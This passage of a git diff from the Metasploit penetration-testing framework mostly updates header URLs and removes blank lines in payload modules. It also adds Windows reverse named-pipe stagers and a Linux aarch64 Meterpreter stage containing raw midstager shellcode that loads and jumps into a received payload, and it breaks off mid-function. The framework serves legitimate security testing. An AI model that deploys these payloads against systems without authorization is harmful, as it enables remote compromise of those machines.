--- a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb
+++ b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 require 'msf/core/payload/windows/bind_tcp'
 
@@ -39,6 +38,5 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
 
diff --git a/modules/payloads/stagers/windows/bind_nonx_tcp.rb b/modules/payloads/stagers/windows/bind_nonx_tcp.rb
index 66cad8e531..1b9d04344f 100644
--- a/modules/payloads/stagers/windows/bind_nonx_tcp.rb
+++ b/modules/payloads/stagers/windows/bind_nonx_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 
@@ -51,5 +50,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb
index 8ac0f3db81..6ab8ec00e4 100644
--- a/modules/payloads/stagers/windows/bind_tcp.rb
+++ b/modules/payloads/stagers/windows/bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 require 'msf/core/payload/windows/bind_tcp'
 
@@ -27,5 +26,4 @@ module MetasploitModule
       'Stager'      => { 'RequiresMidstager' => false }
     ))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/bind_tcp_rc4.rb b/modules/payloads/stagers/windows/bind_tcp_rc4.rb
index 313fc5333e..c35ba968c3 100644
--- a/modules/payloads/stagers/windows/bind_tcp_rc4.rb
+++ b/modules/payloads/stagers/windows/bind_tcp_rc4.rb
@@ -1,10 +1,9 @@
 # -*- coding: binary -*-
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 require 'msf/core/payload/windows/bind_tcp_rc4'
 
@@ -33,5 +32,4 @@ module MetasploitModule
       'Stager'        => { 'RequiresMidstager' => false }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_tcp_uuid.rb
index 798821673b..9688ef7d3b 100644
--- a/modules/payloads/stagers/windows/bind_tcp_uuid.rb
+++ b/modules/payloads/stagers/windows/bind_tcp_uuid.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 require 'msf/core/payload/windows/bind_tcp'
 
@@ -39,5 +38,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/windows/findtag_ord.rb b/modules/payloads/stagers/windows/findtag_ord.rb
index 879ed926e3..d40f922af0 100644
--- a/modules/payloads/stagers/windows/findtag_ord.rb
+++ b/modules/payloads/stagers/windows/findtag_ord.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/find_tag'
 
 
@@ -42,5 +41,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb
index 98e53d6ea1..478e9a49e5 100644
--- a/modules/payloads/stagers/windows/reverse_hop_http.rb
+++ b/modules/payloads/stagers/windows/reverse_hop_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb
index 68846ddd17..2b58ea764b 100644
--- a/modules/payloads/stagers/windows/reverse_http.rb
+++ b/modules/payloads/stagers/windows/reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb
index e606ad7211..93bc610dfc 100644
--- a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb
+++ b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb
index 2ce6258a65..907fa651de 100644
--- a/modules/payloads/stagers/windows/reverse_https.rb
+++ b/modules/payloads/stagers/windows/reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -25,5 +25,4 @@ module MetasploitModule
       'Handler'     => Msf::Handler::ReverseHttps,
       'Convention'  => 'sockedi https'))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb
index e9dabd49ea..766c741332 100644
--- a/modules/payloads/stagers/windows/reverse_https_proxy.rb
+++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_https_proxy'
 
 
@@ -158,6 +157,5 @@ module MetasploitModule
   def wfs_delay
     20
   end
-
 end
 
diff --git a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb
index e47f8730b9..5406154306 100644
--- a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb
+++ b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -65,5 +65,4 @@ module MetasploitModule
         OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
       ])
   end
-
 end
diff --git a/modules/payloads/stagers/windows/reverse_named_pipe.rb b/modules/payloads/stagers/windows/reverse_named_pipe.rb
new file mode 100644
index 0000000000..ae3ef3d1b2
--- /dev/null
+++ b/modules/payloads/stagers/windows/reverse_named_pipe.rb
@@ -0,0 +1,31 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_named_pipe'
+require 'msf/core/payload/windows/reverse_named_pipe'
+
+module MetasploitModule
+
+  CachedSize = 276
+
+  include Msf::Payload::Stager
+  include Msf::Payload::Windows::ReverseNamedPipe
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'        => 'Windows x86 Reverse Named Pipe (SMB) Stager',
+      'Description' => 'Connect back to the attacker via a named pipe pivot',
+      'Author'      => ['OJ Reeves'],
+      'License'     => MSF_LICENSE,
+      'Platform'    => 'win',
+      'Handler'     => Msf::Handler::ReverseNamedPipe,
+      'Arch'        => ARCH_X86,
+      'Convention'  => 'handleedi',
+      'Stager'      => { 'RequiresMidstager' => false }
+    ))
+  end
+
+end
+
diff --git a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb
index c35e8aa7c7..a75b20cba1 100644
--- a/modules/payloads/stagers/windows/reverse_nonx_tcp.rb
+++ b/modules/payloads/stagers/windows/reverse_nonx_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
@@ -52,5 +51,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/reverse_ord_tcp.rb b/modules/payloads/stagers/windows/reverse_ord_tcp.rb
index 4d8b2751f8..6fcdb466e3 100644
--- a/modules/payloads/stagers/windows/reverse_ord_tcp.rb
+++ b/modules/payloads/stagers/windows/reverse_ord_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 
@@ -46,5 +45,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/reverse_tcp.rb b/modules/payloads/stagers/windows/reverse_tcp.rb
index 0a5e17bcf2..a5e15be9ca 100644
--- a/modules/payloads/stagers/windows/reverse_tcp.rb
+++ b/modules/payloads/stagers/windows/reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/core/payload/windows/reverse_tcp'
 
diff --git a/modules/payloads/stagers/windows/reverse_tcp_allports.rb b/modules/payloads/stagers/windows/reverse_tcp_allports.rb
index 98113b7210..f8f4f2b63f 100644
--- a/modules/payloads/stagers/windows/reverse_tcp_allports.rb
+++ b/modules/payloads/stagers/windows/reverse_tcp_allports.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp_allports'
 
 
diff --git a/modules/payloads/stagers/windows/reverse_tcp_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_dns.rb
index c669afc684..c7fac49619 100644
--- a/modules/payloads/stagers/windows/reverse_tcp_dns.rb
+++ b/modules/payloads/stagers/windows/reverse_tcp_dns.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/core/payload/windows/reverse_tcp_dns'
 
@@ -33,5 +32,4 @@ module MetasploitModule
       ))
 
   end
-
 end
diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb
index 3626ed6e77..8424ac71ac 100644
--- a/modules/payloads/stagers/windows/reverse_tcp_rc4.rb
+++ b/modules/payloads/stagers/windows/reverse_tcp_rc4.rb
@@ -1,10 +1,9 @@
 # -*- coding: binary -*-
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/core/payload/windows/reverse_tcp_rc4'
 
@@ -33,5 +32,4 @@ module MetasploitModule
       'Stager'        => { 'RequiresMidstager' => false }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb
index 6cd75dc44a..a0c370496d 100644
--- a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb
+++ b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb
@@ -1,10 +1,9 @@
 # -*- coding: binary -*-
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/core/payload/windows/reverse_tcp_rc4_dns'
 
@@ -33,5 +32,4 @@ module MetasploitModule
         { 'RequiresMidstager' => false }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb
index ab3d3dc592..e61e5be698 100644
--- a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb
+++ b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/core/payload/windows/reverse_tcp'
 
@@ -39,5 +38,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/windows/reverse_winhttp.rb b/modules/payloads/stagers/windows/reverse_winhttp.rb
index a4a2143d3a..eb634588de 100644
--- a/modules/payloads/stagers/windows/reverse_winhttp.rb
+++ b/modules/payloads/stagers/windows/reverse_winhttp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -29,5 +29,4 @@ module MetasploitModule
       'Handler'     => Msf::Handler::ReverseHttp,
       'Convention'  => 'sockedi http'))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/reverse_winhttps.rb b/modules/payloads/stagers/windows/reverse_winhttps.rb
index e84da0bfca..a7784e0c4c 100644
--- a/modules/payloads/stagers/windows/reverse_winhttps.rb
+++ b/modules/payloads/stagers/windows/reverse_winhttps.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -29,5 +29,4 @@ module MetasploitModule
       'Handler'     => Msf::Handler::ReverseHttps,
       'Convention'  => 'sockedi https'))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb
index 4cf5438c1a..a10d94ba58 100644
--- a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb
+++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -34,6 +34,5 @@ module MetasploitModule
   def use_ipv6
     true
   end
-
 end
 
diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb
index 57609a7a52..8d0eaa63ea 100644
--- a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb
+++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -38,7 +38,6 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
 
 
diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb
index 2f921badd2..3ae5277830 100644
--- a/modules/payloads/stagers/windows/x64/bind_tcp.rb
+++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -26,5 +26,4 @@ module MetasploitModule
       'Stager'        => { 'RequiresMidstager' => false }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb
index 113f7a33ee..6278490f94 100644
--- a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb
+++ b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -38,5 +38,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb
index 831cf95085..6a2686cc83 100644
--- a/modules/payloads/stagers/windows/x64/reverse_http.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -26,5 +26,4 @@ module MetasploitModule
       'Convention'  => 'sockrdi http',
       'Stager'      => { 'Payload' => '' }))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb
index 9b99a770b9..d11003e5f5 100644
--- a/modules/payloads/stagers/windows/x64/reverse_https.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -26,5 +26,4 @@ module MetasploitModule
       'Convention'  => 'sockrdi https',
       'Stager'      => { 'Payload' => '' }))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb b/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb
new file mode 100644
index 0000000000..925ea4059b
--- /dev/null
+++ b/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb
@@ -0,0 +1,30 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_named_pipe'
+require 'msf/core/payload/windows/x64/reverse_named_pipe'
+
+module MetasploitModule
+
+  CachedSize = 421
+
+  include Msf::Payload::Stager
+  include Msf::Payload::Windows::ReverseNamedPipe_x64
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'        => 'Windows x64 Reverse Named Pipe (SMB) Stager',
+      'Description' => 'Connect back to the attacker via a named pipe pivot',
+      'Author'      => ['OJ Reeves'],
+      'License'     => MSF_LICENSE,
+      'Handler'     => Msf::Handler::ReverseNamedPipe,
+      'Platform'    => 'win',
+      'Arch'        => ARCH_X64,
+      'Convention'  => 'handlerdi',
+      'Stager'      => { 'RequiresMidstager' => false }
+    ))
+  end
+
+end
diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb
index ef5dbfc7f7..d7b80e0881 100644
--- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -26,5 +26,4 @@ module MetasploitModule
       'Stager'      => { 'RequiresMidstager' => false }
     ))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb
index 0eb351ddc4..161fd0ba44 100644
--- a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -38,5 +38,4 @@ module MetasploitModule
   def include_send_uuid
     true
   end
-
 end
diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb
index b770feb7f4..3ee66da58d 100644
--- a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -30,5 +30,4 @@ module MetasploitModule
       'Convention'  => 'sockrdi http',
       'Stager'      => { 'Payload' => '' }))
   end
-
 end
diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb
index fc75dcafed..0a70268db0 100644
--- a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -30,5 +30,4 @@ module MetasploitModule
       'Convention'  => 'sockrdi https',
       'Stager'      => { 'Payload' => '' }))
   end
-
 end
diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb
index a340d2a8a8..5fb8a445f4 100644
--- a/modules/payloads/stages/android/meterpreter.rb
+++ b/modules/payloads/stages/android/meterpreter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/android/shell.rb b/modules/payloads/stages/android/shell.rb
index 171a0b4375..718c23f7b0 100644
--- a/modules/payloads/stages/android/shell.rb
+++ b/modules/payloads/stages/android/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/bsd/x86/shell.rb b/modules/payloads/stages/bsd/x86/shell.rb
index 31b2377b4e..bbe9bf3e55 100644
--- a/modules/payloads/stages/bsd/x86/shell.rb
+++ b/modules/payloads/stages/bsd/x86/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -28,5 +28,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/bsdi/x86/shell.rb b/modules/payloads/stages/bsdi/x86/shell.rb
index c106b096a3..a24b559406 100644
--- a/modules/payloads/stages/bsdi/x86/shell.rb
+++ b/modules/payloads/stages/bsdi/x86/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -29,5 +29,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb
index e0fa5bdb1b..ad0711aadb 100644
--- a/modules/payloads/stages/java/meterpreter.rb
+++ b/modules/payloads/stages/java/meterpreter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/java/shell.rb b/modules/payloads/stages/java/shell.rb
index bfdf903dff..fcec04f2a9 100644
--- a/modules/payloads/stages/java/shell.rb
+++ b/modules/payloads/stages/java/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/linux/aarch64/meterpreter.rb b/modules/payloads/stages/linux/aarch64/meterpreter.rb
new file mode 100644
index 0000000000..ec2b24435f
--- /dev/null
+++ b/modules/payloads/stages/linux/aarch64/meterpreter.rb
@@ -0,0 +1,118 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/base/sessions/meterpreter_aarch64_linux'
+require 'msf/base/sessions/meterpreter_options'
+require 'msf/base/sessions/mettle_config'
+require 'rex/elfparsey'
+
+module MetasploitModule
+  include Msf::Sessions::MeterpreterOptions
+  include Msf::Sessions::MettleConfig
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'          => 'Linux Meterpreter',
+        'Description'   => 'Inject the mettle server payload (staged)',
+        'Author'        => [
+          'Adam Cammack <adam_cammack[at]rapid7.com>'
+        ],
+        'Platform'      => 'linux',
+        'Arch'          => ARCH_AARCH64,
+        'License'       => MSF_LICENSE,
+        'Session'       => Msf::Sessions::Meterpreter_aarch64_Linux
+      )
+    )
+  end
+
+  def elf_ep(payload)
+    elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
+    elf.elf_header.e_entry
+  end
+
+  def handle_intermediate_stage(conn, payload)
+    entry_offset = elf_ep(payload)
+
+    # Generated from external/source/shellcode/linux/aarch64/stage_mettle.s
+    midstager = [
+
+            0x10000782,          #  adr	x2, f0 <size>
+            0xb9400042,          #  ldr	w2, [x2]
+            0xaa0203ea,          #  mov	x10, x2
+            0xd34cfc42,          #  lsr	x2, x2, #12
+            0x91000442,          #  add	x2, x2, #0x1
+            0xd374cc42,          #  lsl	x2, x2, #12
+            0xaa1f03e0,          #  mov	x0, xzr
+            0xaa0203e1,          #  mov	x1, x2
+            0xd28000e2,          #  mov	x2, #0x7                   	// #7
+            0xd2800443,          #  mov	x3, #0x22                  	// #34
+            0xaa1f03e4,          #  mov	x4, xzr
+            0xaa1f03e5,          #  mov	x5, xzr
+            0xd2801bc8,          #  mov	x8, #0xde                  	// #222
+            0xd4000001,          #  svc	#0x0
+            0xaa0a03e4,          #  mov	x4, x10
+            0xaa0003e3,          #  mov	x3, x0
+            0xaa0003ea,          #  mov	x10, x0
+            0xaa0c03e0,          #  mov	x0, x12
+            0xaa0303e1,          #  mov	x1, x3
+            0xaa0403e2,          #  mov	x2, x4
+            0xd28007e8,          #  mov	x8, #0x3f                  	// #63
+            0xd4000001,          #  svc	#0x0
+            0x34000440,          #  cbz	w0, e0 <failed>
+            0x8b000063,          #  add	x3, x3, x0
+            0xeb000084,          #  subs	x4, x4, x0
+            0x54ffff01,          #  b.ne	44 <read_loop>
+            0x10000480,          #  adr	x0, f8 <entry>
+            0xf9400000,          #  ldr	x0, [x0]
+            0x8b0a0000,          #  add	x0, x0, x10
+            0xaa0003ee,          #  mov	x14, x0
+            0x910003e0,          #  mov	x0, sp
+            0x927cec1f,          #  and	sp, x0, #0xfffffffffffffff0
+            0x910183ff,          #  add	sp, sp, #0x60
+            0xd2800040,          #  mov	x0, #0x2                   	// #2
+            0xd2800da1,          #  mov	x1, #0x6d                  	// #109
+            0xf90003e1,          #  str	x1, [sp]
+            0x910003e1,          #  mov	x1, sp
+            0xaa0c03e2,          #  mov	x2, x12
+            0xd2800003,          #  mov	x3, #0x0                   	// #0
+            0xd2800004,          #  mov	x4, #0x0                   	// #0
+            0xd28000e5,          #  mov	x5, #0x7                   	// #7
+            0xaa0a03e6,          #  mov	x6, x10
+            0xd28000c7,          #  mov	x7, #0x6                   	// #6
+            0xd2820008,          #  mov	x8, #0x1000                	// #4096
+            0xd2800329,          #  mov	x9, #0x19                  	// #25
+            0xaa0a03ea,          #  mov	x10, x10
+            0xd280000b,          #  mov	x11, #0x0                   	// #0
+            0xa9bf2fea,          #  stp	x10, x11, [sp,#-16]!
+            0xa9bf27e8,          #  stp	x8, x9, [sp,#-16]!
+            0xa9bf1fe6,          #  stp	x6, x7, [sp,#-16]!
+            0xa9bf17e4,          #  stp	x4, x5, [sp,#-16]!
+            0xa9bf0fe2,          #  stp	x2, x3, [sp,#-16]!
+            0xa9bf07e0,          #  stp	x0, x1, [sp,#-16]!
+            0xd280001d,          #  mov	x29, #0x0                   	// #0
+            0xd280001e,          #  mov	x30, #0x0                   	// #0
+            0xd61f01c0,          #  br	x14
+            0xd2800000,          #  mov	x0, #0x0                   	// #0
+            0xd2800ba8,          #  mov	x8, #0x5d                  	// #93
+            0xd4000001,          #  svc	#0x0
+            0xd503201f,          #  nop
+            payload.length,
+            0x00000000,          #  .word	0x00000000
+            entry_offset,
+            0x00000000,          #  .word	0x00000000
+        ].pack('V*')
+
+    print_status("Transmitting intermediate midstager...(#{midstager.length} bytes)")
+    conn.put([midstager.length].pack('V'))
+    conn.put(midstager) == midstager.length
+  end
+
+  def generate_stage(opts = {})
+    MetasploitPayloads::Mettle.new('aarch64-linux-musl',
